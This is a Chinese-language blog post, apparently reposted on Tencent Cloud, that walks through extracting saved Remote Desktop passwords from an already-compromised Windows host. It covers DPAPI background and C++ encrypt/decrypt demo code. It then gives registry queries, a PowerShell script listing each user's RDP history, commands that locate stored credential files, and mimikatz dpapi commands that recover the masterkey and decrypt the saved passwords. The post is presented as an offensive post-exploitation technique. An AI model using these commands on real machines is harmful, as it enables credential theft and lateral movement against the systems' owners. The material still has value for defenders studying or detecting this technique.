前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >获取已控机器本地保存的RDP密码

获取已控机器本地保存的RDP密码

作者头像
鸿鹄实验室
发布2021-04-15 10:46:13
2.4K0
发布2021-04-15 10:46:13
举报

俗话说百因必有果,你的报应就是我,这篇文章的来历,还要从好兄弟的提问说起。

本文就给大家聊一下关于获取已控机器本地保存的RDP密码的一些原理、思路、以及具体的实现方法。

首先我们需要知道两个概念。

第一、Dpapi

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

包括的范围有下面这些:

  • IE、Chrome的登录表单自动完成
  • Powershell加密函数
  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
  • FTP管理账户密码
  • 共享资源文件夹的访问密码
  • 无线网络帐户密钥和密码
  • 远程桌面身份凭证
  • EFS
  • EAP/TLS 和 802.1x的身份凭证
  • Credential Manager中的数据
  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。

其中就包括了我们所说的远程桌面身份凭证。Dpapi采用的加密类型为对称加密,即找到了密钥,就能解开物理存储的加密信息。

Master Key Files

存放密钥的文件叫做Master Key Files,

用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%

系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Master Key file的同级目录还有一个Preferred文件,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期.

实操 DPAPI加解密

微软为开发人员提供了 DPAPI的加解密方式,文件头为dpapi.h,我们可以使用CryptProtectData来进行一个加密,测试代码如下:

#include <iostream>
#include <Windows.h>
#include <dpapi.h>
#pragma comment(lib,"crypt32.lib")
int main()
{
  DATA_BLOB plainBlob = { 0 };
  DATA_BLOB encryptedBlob = { 0 };
  BYTE dataBytes[] = "spotless";
  HANDLE outFile = CreateFile("c:\\users\\root\\desktop\\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  printf("this is an encrypted:spotless");
  plainBlob.pbData = dataBytes;
  plainBlob.cbData = sizeof(dataBytes);
  CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
  WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);
  return 0;
}

加密后进行解密

#include <iostream>
#include <Windows.h>
#include <dpapi.h>
#pragma comment(lib,"crypt32.lib")
int main()
{
  DATA_BLOB plainBlob = { 0 };
  DATA_BLOB encryptedBlob = { 0 };
  BYTE dataBytes[] = "spotless";
  BYTE inBytes[300] = {0};
  BYTE outBytes[300] = {0};
  HANDLE outFile = CreateFile(L"c:\\users\\mantvydas\\desktop\\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE inFile = CreateFile(L"c:\\users\\mantvydas\\desktop\\spotless.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  DWORD fileSize = 0; 
  //encrypt
  plainBlob.pbData = dataBytes;
  plainBlob.cbData = sizeof(dataBytes);
  CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
  WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);

  //decrypt
  fileSize = GetFileSize(inFile, NULL);
  ReadFile(inFile, encryptedBlob.pbData, fileSize , NULL, NULL);
  encryptedBlob.cbData = fileSize;
  CryptUnprotectData(&encryptedBlob, NULL, NULL, NULL, NULL, 0, &plainBlob);
  return 0;
}

即可解密出来加密后的明文。

第二、rdp密码存放位置

我们可以使用下面的方法得到所有该主机链接过的机器,即查询注册表

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

高版本的系统也可以使用下面的powershell脚本

<#
.SYNOPSIS
This script will list the logged-in users' RDP Connections History.
Author: 3gstudent@3gstudent
License: BSD 3-Clause
#>
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
  $RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
  Write-Host "User:"$User.Name
  Write-Host "SID:"$User.SID
  Write-Host "Status:"$User.Status
  Try
      { 
    $QueryPath = dir $RegPath -Name -ErrorAction Stop
  }
  Catch
  {
    Write-Host "No RDP Connections History"
    Write-Host "----------------------------------"
    continue
  }
  foreach($Name in $QueryPath)
  {   
    Try
        {  
          $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
          Write-Host "User:"$User
          Write-Host "Server:"$Name
        }
        Catch
        {
      Write-Host "No RDP Connections History"
        }
  }
  Write-Host "----------------------------------"  
}

然后查看本地的密码文件是否存在

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

注:a代表用户名,本地有存储密码的前提是链接时勾选保存凭证。

然后查看存储在本地的远程信息。

cmdkey /list

这样我们就拥有了解密的一切前提。

第三、实战密码解密

下面我们来实战看一下密码的解密过程。minikatz不愧为神器,里面已经集成了该类功能,都属于dpapi模块。

我们来看下操作。

mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\8781378F7D47006A4FC98D2F8A266F58

通过 mimikatz 获取 guidMasterKey,再通过guid 来找到其所对应的 Masterkey,注意此处的 pgData 中的内容实际上就是要解密的密码数据,密码在里面只不过是加密的,得先找到对应的 Masterkey 才能解密 。

下面来找 Masterkey。

然后通过Masterkey即可解密我们的数据。

mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\B936D224289CFD610F63B70D714F2664 /masterkey:cd9e42601a0aa86baf3659271cfc2f9f75642a08cb819a7eb7c6c7531dcd80bdc6d152b18bd2d70395cadfad537e1e436034fccc5ff44074059d431e60151cc8

且可以使用下面的命令查看获取到的所有的masterkey:

dpapi::cache

一键化操作:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档